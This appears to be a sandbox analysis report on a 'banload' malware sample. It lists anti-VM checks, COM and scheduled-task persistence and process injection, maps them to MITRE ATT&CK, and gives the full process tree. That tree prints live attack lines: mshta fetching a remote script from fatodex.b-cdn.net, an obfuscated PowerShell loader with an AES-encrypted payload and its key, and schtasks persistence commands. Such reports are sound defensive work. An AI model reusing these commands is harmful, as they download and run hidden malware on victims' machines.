banload | 15c486428ca6ef7add4c57355497f270f2a38ed43c40b994933d67d5f7e664fc

Virtualization/Sandbox Evasion

T1497

Processes:

jdhw.exe

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	jdhw.exe

Blocklisted process makes network request 5 IoCs

Processes:

mshta.exepowershell.exe

flow	pid	Process
8	2944	mshta.exe
10	2944	mshta.exe
14	2944	mshta.exe
16	2944	mshta.exe
25	1776	powershell.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

jdhw.exe

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	jdhw.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate	jdhw.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

Processes:

mshta.exe

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation	mshta.exe

Executes dropped EXE 2 IoCs

Processes:

jdhw.exeDavonevur.exe

pid	Process
4856	jdhw.exe
1872	Davonevur.exe

Loads dropped DLL 3 IoCs

Processes:

jdhw.exe

pid	Process
4856	jdhw.exe
4856	jdhw.exe
4856	jdhw.exe

Registers COM server for autorun 1 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Processes:

jdhw.exe

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6EEAF7AB-9B86-0A4B-E9E8-6422E70DF8B3}\InprocServer32	jdhw.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6EEAF7AB-9B86-0A4B-E9E8-6422E70DF8B3}\InprocServer32\ = "C:\\Program Files\\Common Files\\System\\ado\\msado15.dll"	jdhw.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6EEAF7AB-9B86-0A4B-E9E8-6422E70DF8B3}\InprocServer32\ThreadingModel = "Both"	jdhw.exe

Suspicious use of SetThreadContext 2 IoCs

Processes:

jdhw.exemore.com

description	pid	Process	procid_target
PID 4856 set thread context of 916	4856	jdhw.exe	106
PID 916 set thread context of 4956	916	more.com	108

Drops file in Windows directory 2 IoCs

Processes:

expand.exe

description	ioc	Process
File opened for modification	C:\Windows\LOGS\DPX\setupact.log	expand.exe
File opened for modification	C:\Windows\LOGS\DPX\setuperr.log	expand.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

Processes:

powershell.exe

pid	Process
2252	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

regsvr32.exe

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	regsvr32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	regsvr32.exe

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

Processes:

schtasks.exe

pid	Process
4664	schtasks.exe

Modifies registry class 9 IoCs

Processes:

jdhw.exe

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6EEAF7AB-9B86-0A4B-E9E8-6422E70DF8B3}\ProgID\ = "ADODB.Error.6.0"	jdhw.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6EEAF7AB-9B86-0A4B-E9E8-6422E70DF8B3}\VersionIndependentProgID	jdhw.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6EEAF7AB-9B86-0A4B-E9E8-6422E70DF8B3}	jdhw.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6EEAF7AB-9B86-0A4B-E9E8-6422E70DF8B3}\InprocServer32	jdhw.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6EEAF7AB-9B86-0A4B-E9E8-6422E70DF8B3}\InprocServer32\ThreadingModel = "Both"	jdhw.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6EEAF7AB-9B86-0A4B-E9E8-6422E70DF8B3}\VersionIndependentProgID\ = "ADODB.Error"	jdhw.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6EEAF7AB-9B86-0A4B-E9E8-6422E70DF8B3}\ = "ADODB.Error"	jdhw.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6EEAF7AB-9B86-0A4B-E9E8-6422E70DF8B3}\InprocServer32\ = "C:\\Program Files\\Common Files\\System\\ado\\msado15.dll"	jdhw.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6EEAF7AB-9B86-0A4B-E9E8-6422E70DF8B3}\ProgID	jdhw.exe

Suspicious behavior: EnumeratesProcesses 19 IoCs

Processes:

powershell.exepowershell.exepowershell.exejdhw.exemore.comregsvr32.exe

pid	Process
2252	powershell.exe
2252	powershell.exe
2128	powershell.exe
2128	powershell.exe
1776	powershell.exe
1776	powershell.exe
4856	jdhw.exe
4856	jdhw.exe
4856	jdhw.exe
916	more.com
916	more.com
916	more.com
916	more.com
4956	regsvr32.exe
4956	regsvr32.exe
4956	regsvr32.exe
4956	regsvr32.exe
4956	regsvr32.exe
4956	regsvr32.exe

Suspicious behavior: MapViewOfSection 3 IoCs

Processes:

jdhw.exemore.com

pid	Process
4856	jdhw.exe
916	more.com
916	more.com

Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

description	pid	Process
Token: SeDebugPrivilege	2252	powershell.exe
Token: SeDebugPrivilege	2128	powershell.exe
Token: SeDebugPrivilege	1776	powershell.exe

Suspicious use of WriteProcessMemory 29 IoCs

Processes:

powershell.exepowershell.exemshta.exepowershell.exejdhw.exemore.comregsvr32.execmd.execmd.exe

description	pid	Process	procid_target
PID 2252 wrote to memory of 2128	2252	powershell.exe	92
PID 2252 wrote to memory of 2128	2252	powershell.exe	92
PID 2128 wrote to memory of 2944	2128	powershell.exe	93
PID 2128 wrote to memory of 2944	2128	powershell.exe	93
PID 2944 wrote to memory of 1776	2944	mshta.exe	94
PID 2944 wrote to memory of 1776	2944	mshta.exe	94
PID 1776 wrote to memory of 4856	1776	powershell.exe	105
PID 1776 wrote to memory of 4856	1776	powershell.exe	105
PID 4856 wrote to memory of 916	4856	jdhw.exe	106
PID 4856 wrote to memory of 916	4856	jdhw.exe	106
PID 4856 wrote to memory of 916	4856	jdhw.exe	106
PID 4856 wrote to memory of 916	4856	jdhw.exe	106
PID 916 wrote to memory of 4956	916	more.com	108
PID 916 wrote to memory of 4956	916	more.com	108
PID 916 wrote to memory of 4956	916	more.com	108
PID 916 wrote to memory of 4956	916	more.com	108
PID 916 wrote to memory of 4956	916	more.com	108
PID 4956 wrote to memory of 3980	4956	regsvr32.exe	110
PID 4956 wrote to memory of 3980	4956	regsvr32.exe	110
PID 4956 wrote to memory of 3980	4956	regsvr32.exe	110
PID 3980 wrote to memory of 1460	3980	cmd.exe	112
PID 3980 wrote to memory of 1460	3980	cmd.exe	112
PID 3980 wrote to memory of 1460	3980	cmd.exe	112
PID 4956 wrote to memory of 2612	4956	regsvr32.exe	113
PID 4956 wrote to memory of 2612	4956	regsvr32.exe	113
PID 4956 wrote to memory of 2612	4956	regsvr32.exe	113
PID 2612 wrote to memory of 4664	2612	cmd.exe	115
PID 2612 wrote to memory of 4664	2612	cmd.exe	115
PID 2612 wrote to memory of 4664	2612	cmd.exe	115

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\target.ps1
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2252
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" . mshta.exe https://fatodex.b-cdn.net/fatodex
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2128
- - C:\Windows\system32\mshta.exe
    "C:\Windows\system32\mshta.exe" https://fatodex.b-cdn.net/fatodex
    3⤵
    - Blocklisted process makes network request
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:2944
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function DREeX($LWLOOBaM){return -split ($LWLOOBaM -replace '..', '0x$& ')};$zJmEepa = DREeX('FB7B0A5BDDA8D362B80F07A7D5531D62B890251A285AA2B74CC1546CE957F65F77729D219F4EADB2C7AB5DA5C639642B264AC843F39FEAC517124A3BD072157E8B0F5DDBAD3A23698D69AB8244E7FDADC3F0B728435A74338C3B2BE898C36E1ADDE3B7780A2581385C9EEF7A7023553CB81BB1D64D489F562A0D200979C2F862D1ED963CA439C0DA86325411C79282C993B218CC6AC4D7C5B954225AF8207E74F3D8B246D464DDD4056A464200169365A1BA93AD1D4F260F5CDC38F2F258DCA1CFA0FBACD4CAA6F170CD9D5A8F4936B0580C5F72019A310EE8DAB39636BE7497FFBB2FA76336995A7498BC08EF0786E8D4EB4E2C2C8472B7D5E11B98E9F1D2F2B183F47F74C55D2953DEFA3608201A996280A40D4EA4032E3669283D502A6E7252566A2D300105C002F81CC2866CE4152A31C581425E2B339F5F6F277699B4B8640F274142A93C1133B07BCB2E1F36DCD4C18B1197339F5525C053848BE907825F35C4E0C5A192603F5BA473C6A6A62CD50BB1E8C8685B81DFA3B8047E04A954F181E7A82DA5844DB8F49BDF9F3D99665AD21B7925C0CDA1D44A1699FB707A3E1601843F6D7352308FCA948DB1A6AF19EB190A40B042C5CF55609615A59DA120448E63BB063176F5EB8480DD7ACF5D097CB386C4739480B67CFC8CECE7B1330079CB99A3E93FC9FD1EEC630380EAB351099652CDA6291B5CE11728956207D0A91DF6E6B19A54B8C65823EDD58C01E3B61A530570B4E5636F72E1492A0F83A978263E6D673DA1323F5623309337CFBF6A6BB86B4BF0B447D138CD10B26CC88309482F1FAB27C173DC34E79355F6C96539A109E145C56AD83F3B9B1FC2C296944C28B30F823741192FECC5EB45A6DAA70BF003F5210661CB16A24AB96922AEEDE06FE83B56254652DE87231038E9EEA68B6754C9766B30DBDAD6E7C20EF3786EC16CCBFFABC3FBA56DD3FA266FCD53458AFFE6CA169B09AA60814707DC7F5D62CA7D1E2BE6330DF024EA5A74F5B57D3D3FF3E9190852F20C649E126447D4CFE3772F9D29027C6E1CB98B3D0723502F19AF23EDA46CED4F9B22CCA2F947F0548364D409371682A086BD0FFC9F9699C954B714001024A4138F4BCDE21BF8BDCDEC63500409CA9AA12E7E8F73DE0681FED9B5C40375F0946521ABA6A8F96AA3A0AABDA6DEF8EAFAC4B49CDC0AA4991B63E86772965327311FDCDE98E2F5CEE70A5C5B8BF0DACD25AAE74E8A61F0C7A0622702E07413EAB584C62E1830D4260C33B00255A792BA352A5541EF164FF19F5DA6BFDF3B94290EFD09F5740C700A4E39037637B12C655646F4871D1019860586EEB24B6D1F17342258F188A4F2ECD6FC30737FDC38CCEB5C71C8578E84F7AD87EE859D1F0322C63EDFE9B9B3879F23D30E170B928E0B6644178DB6DE7E8926462CAD8E02DF2561FFE1BA1003E935C3E0F8426B78DD1F22A46B822F120308FEF67306B27298B7F37B82B6858A5BE16C1AF3728B421001B4A9C32FCE1ADE7D21DA1E7B44741C84458F77DA704AE26195B5684E633D1FD8E0C16501F1D74B4927F81C3457044D2338F2B2BACCB8F5314EAD6AE0D81DF18E3DD624B5ED9E07BACC1E1C8A5E3FA1E81C0E284045ED57FF3C5CDB185EE57540E91C0D79689DF28FBB4CE70104BFF39D65F4D91D0555B4E91FF9D14CC1735CC6C0654CD94CC9E129936C0B35EA7E45F869FD27FE21DBC8DB119B48C4F3A2282F751EE41BC616CF285B8DF1CE0367080E9D2CB822579E1E960C0C05CA2464B9D5C40D1279C17F38B10F14B960F347BAE6F8568252DFCE7197A4B9471A0F5FCBE581A11082C99976091BEB2C2ACE9185A223249D95DEA4BFD57CDE2C392E017609CCCC7A1D8CBDF2BAD732E614039F339D60BFD82F34C75D10446028FF33BC5197D05CEA8A943490ED864C6D94');$dOmDq = [System.Security.Cryptography.Aes]::Create();$dOmDq.Key = DREeX('47527379546E7A6A4656756270556B4E');$dOmDq.IV = New-Object byte[] 16;$RuOilBnC = $dOmDq.CreateDecryptor();$gmaSVzrdz = $RuOilBnC.TransformFinalBlock($zJmEepa, 0, $zJmEepa.Length);$HbnJsGINd = [System.Text.Encoding]::Utf8.GetString($gmaSVzrdz);$RuOilBnC.Dispose();& $HbnJsGINd.Substring(0,3) $HbnJsGINd.Substring(3)
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:1776
    - - C:\Users\Admin\AppData\Roaming\jdhw.exe
        
        "C:\Users\Admin\AppData\Roaming\jdhw.exe"
        5⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Loads dropped DLL
        Registers COM server for autorun
        Suspicious use of SetThreadContext
        Modifies registry class
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: MapViewOfSection
        Suspicious use of WriteProcessMemory
        
        PID:4856
      - C:\Windows\SysWOW64\more.com
        
        C:\Windows\SysWOW64\more.com
        6⤵
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: MapViewOfSection
        Suspicious use of WriteProcessMemory
        
        PID:916
        
        C:\Windows\SysWOW64\regsvr32.exe
        
        C:\Windows\SysWOW64\regsvr32.exe
        7⤵
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:4956
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c expand.exe "C:\Users\Admin\AppData\Roaming\ServiceData\c2Gt4H.tmp" -F:* "C:\Users\Admin\AppData\Roaming\ServiceData"
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:3980
        
        C:\Windows\SysWOW64\expand.exe
        
        expand.exe "C:\Users\Admin\AppData\Roaming\ServiceData\c2Gt4H.tmp" -F:* "C:\Users\Admin\AppData\Roaming\ServiceData"
        9⤵
        Drops file in Windows directory
        
        PID:1460
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c schtasks /create /tn \Service\Data /tr """"C:\Users\Admin\AppData\Roaming\ServiceData\Davonevur.exe""" """C:\Users\Admin\AppData\Roaming\ServiceData\Davonevur.jpg"""" /st 00:01 /du 9800:59 /sc once /ri 1 /f
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:2612
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn \Service\Data /tr """"C:\Users\Admin\AppData\Roaming\ServiceData\Davonevur.exe""" """C:\Users\Admin\AppData\Roaming\ServiceData\Davonevur.jpg"""" /st 00:01 /du 9800:59 /sc once /ri 1 /f
        9⤵
        Creates scheduled task(s)
        
        PID:4664

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=3644 --field-trial-handle=3084,i,4016110471176367543,14287608422419064331,262144 --variations-seed-version /prefetch:8
1⤵
PID:4128

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --mojo-platform-channel-handle=3124 --field-trial-handle=3084,i,4016110471176367543,14287608422419064331,262144 --variations-seed-version /prefetch:3
1⤵
PID:3708

C:\Users\Admin\AppData\Roaming\ServiceData\Davonevur.exe
C:\Users\Admin\AppData\Roaming\ServiceData\Davonevur.exe "C:\Users\Admin\AppData\Roaming\ServiceData\Davonevur.jpg"
1⤵
- Executes dropped EXE
PID:1872

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

Defense Evasion

Virtualization/Sandbox Evasion

T1497

Credential Access

Discovery

Query Registry

System Information Discovery